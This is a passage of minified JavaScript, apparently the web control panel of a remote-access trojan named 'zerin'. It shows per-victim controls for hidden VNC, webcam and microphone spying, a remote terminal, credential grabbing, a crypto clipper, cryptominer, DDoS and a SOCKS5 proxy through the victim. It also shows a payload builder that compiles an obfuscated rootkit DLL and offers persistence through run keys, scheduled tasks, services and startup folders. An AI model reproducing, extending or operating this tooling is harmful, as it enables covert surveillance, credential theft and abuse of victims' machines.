text-zerin-text-muted",children:no(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Ex(i.id);const $=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await Pj(i.id);const $=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>be($=>!$),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:$=>ae(Number($.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map($=>a.jsxs("option",{value:$,children:["Camera ",$]},$))]}),a.jsx("button",{onClick:async()=>{be(!1);try{await Ej(i.id,Z);const $=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await _j(i.id);const $=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),q("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>D(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>q("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>q("screenshots"),badge:B.length>0?B.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>q("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>q("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>q("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>q("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>q("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>q("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>q("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>q("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>q("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>q("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Om,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Io(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Om,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Om,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:Ij(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Lo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:eu(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:no(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${U!=null&&U.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:U!=null&&U.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.port?`127.0.0.1:${U.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Mp(U.bytes_in)," in / ",Mp(U.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await f6(i.id),V({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):a.jsxs("div",{className:"space-y-2",children:[a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&a.jsx("button",{onClick:async()=>{try{const $=await Aj(i.id);V({active:!0,port:$.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),a.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),a.jsx("div",{className:"overflow-x-auto",children:C.length===0?a.jsx("div",{className:"px-4 py-12 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map($=>{var ve;const fe=(ve=$.args)!=null&&ve.length?" "+$.args.join(" "):"";return a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[$.command,fe]}),a.jsx("td",{className:"px-4 py-2.5",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${hV[$.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:$.status})}),a.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:Lo($.created_at)})]},$.id)})})]})})]})})]})}),k.has("files")&&a.jsx("div",{style:{display:j==="files"?void 0:"none"},children:a.jsx(QU,{agentId:i.id,agentStatus:i.status})}),k.has("processes")&&a.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:a.jsx(JU,{agentId:i.id,agentStatus:i.status})}),k.has("windows")&&a.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:a.jsx(eV,{agentId:i.id,agentStatus:i.status})}),k.has("apps")&&a.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:a.jsx(tV,{agentId:i.id,agentStatus:i.status})}),k.has("system")&&a.jsx("div",{style:{display:j==="system"?void 0:"none"},children:a.jsx(nV,{agentId:i.id,agentStatus:i.status})}),k.has("troll")&&a.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:a.jsx(iV,{agentId:i.id})}),k.has("credentials")&&a.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:a.jsx(uV,{agentId:i.id,agentStatus:i.status,autoGrab:M,onAutoGrabConsumed:()=>{F(!1),n.delete("auto"),r(n,{replace:!0})}})}),k.has("clipper")&&a.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:a.jsx(mV,{agentId:i.id,agentStatus:i.status})}),k.has("ddos")&&a.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:a.jsx(lS,{agentIds:[i.id],agentStatus:i.status})}),k.has("miner")&&a.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:a.jsx(pV,{agentId:i.id,agentStatus:i.status})}),k.has("screenshots")&&a.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:a.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",a.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):a.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map($=>a.jsxs("button",{onClick:()=>O($.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:K.has($.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:$.dataUrl,alt:`Screenshot ${no($.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>_(fe=>new Set(fe).add($.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:no($.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:eu($.timestamp)})]})})]},$.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>T($=>!$),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(ZU,{lines:ne,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&le.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:le.map($=>a.jsx("button",{onClick:()=>Ne($),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:$},$))})]})}),G&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:G}),a.jsxs("form",{onSubmit:we,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:$=>g($.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(Dj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>D(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:$=>$.stopPropagation(),children:[a.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Om({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const uS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},Wb={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},vV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function gV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await t6();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(gd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(Ub,{label:"All",active:i==="all",onClick:()=>s("all")}),vV.map(p=>a.jsx(Ub,{label:uS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&a.jsx("button",{onClick:()=>s("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),a.jsx("div",{children:d.map((p,h)=>a.jsx(yV,{event:p,expanded:o===p.id,onToggle:()=>l(o===p.id?null:p.id)},p.id||h))})]})]})}function yV({event:e,expanded:t,onToggle:n}){const r=Wb[e.severity]||Wb.info,i=e.details&&Object.keys(e.details).length>0;return a.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[a.jsx("div",{children:a.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:uS[e.type]||e.type})}),a.jsx("div",{className:"min-w-0",children:a.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:d_(e.timestamp)})})]}),t&&i&&a.jsx("div",{className:"px-4 pb-3",children:a.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[a.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),a.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([s,o])=>a.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[a.jsxs("span",{className:"text-zerin-text-muted",children:[s,":"]}),a.jsx("span",{className:"text-zerin-text",children:String(o)})]},s))})]})})]})}function Ub({label:e,active:t,onClick:n}){return a.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const Vb="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function Hb(){return`agent-${Math.random().toString(16).slice(2,6)}`}const Kb=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],bV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon 